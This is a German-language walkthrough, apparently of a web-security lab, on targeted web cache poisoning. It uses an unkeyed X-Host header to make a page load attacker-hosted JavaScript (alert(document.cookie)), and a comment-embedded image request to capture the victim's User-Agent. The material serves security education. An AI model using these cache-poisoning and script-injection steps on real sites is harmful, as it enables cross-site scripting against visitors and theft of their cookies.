> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md).

# Gezielte Cache-Vergiftung über einen unbekannten Header

### Gezielte Web-Cache-Vergiftung unter Verwendung eines unbekannten Headers

Den Cache mit einer Antwort vergiften, die ausgeführt wird `alert(document.cookie)` im Browser eines Besuchers, **aber nur für eine Teilmenge von Nutzern** die dem Opfer entspricht.

#### Erste Beobachtung

* Die Anfrage/Antwort wird abgefangen.

<figure><img src="/files/0d483d17fe0b6d16033359b037cfbe1cf5455dbd" alt=""><figcaption></figcaption></figure>

Mit der **Param Miner** Erweiterung beginnen wir mit der Erkennung ausnutzbarer Header

<figure><img src="/files/2561399b0c43d5b6df3b9acd6cbd6a19bfffbc19" alt=""><figcaption></figcaption></figure>

* Das Tool zeigt einen \*\*Header

<figure><img src="/files/271ee8e36411762f324ccf78269e4c44ee823e90" alt=""><figcaption></figcaption></figure>

Wenn `X-Host: test.com` gesendet, wird der Wert erneut in die Antwort eingespeist (in `src`).

```http
X-Host: test.com
```

#### Implementierung der Payload

1. Auf dem Exploit-Server\*\* erstellen wir eine Ressource **mit dem Pfad/Titel**:

* `/resources/js/tracking.js`

<figure><img src="/files/4c52d9e780d40381fbd285e270955012d63d6a27" alt=""><figcaption></figcaption></figure>

Dateiinhalt:

```javascript
alert(document.cookie)
```

<figure><img src="/files/8d231b2db79aa738a0967da57a5071fb13acbae6" alt=""><figcaption></figcaption></figure>

#### Cache-Vergiftung gegen X-Host

* Die Anfrage wird zurückgegeben mit:

```http
X-Host: exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net
```

<figure><img src="/files/7d9844f0a80fef4cd25e7bd22cf2ae1795893598" alt=""><figcaption></figcaption></figure>

Die Seite lädt dann das `tracking.js` vom Exploit-Server, was den Alarm auslöst.

<figure><img src="/files/f380fc8e98e08c718adc763e00368c48c208699b" alt=""><figcaption></figcaption></figure>

#### Das Opfer mit dem User-Agent ins Visier nehmen

* Wir stellen fest, dass die Antwort je nach `User-Agent` (über `Vary`), daher müssen wir, um das Opfer zu erreichen, **den User-Agent des Opfers kennen**.

<figure><img src="/files/52ef0734c478c234851a2aec1a51c0f9ca75dfd3" alt=""><figcaption></figcaption></figure>

Veröffentlichen Sie einen Kommentar, der eine Anfrage an den Exploit-Server erzwingt:

```http
<img src="https://exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net/">
```

<figure><img src="/files/500959202fc92d7f734f88943460be724cc453df" alt=""><figcaption></figcaption></figure>

In den Protokollen des Exploit-Servers wird der User-Agent des Opfers ermittelt:

<figure><img src="/files/acdbb27136cf38380bc05ad11f28928b12ab7662" alt=""><figcaption></figcaption></figure>

`Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
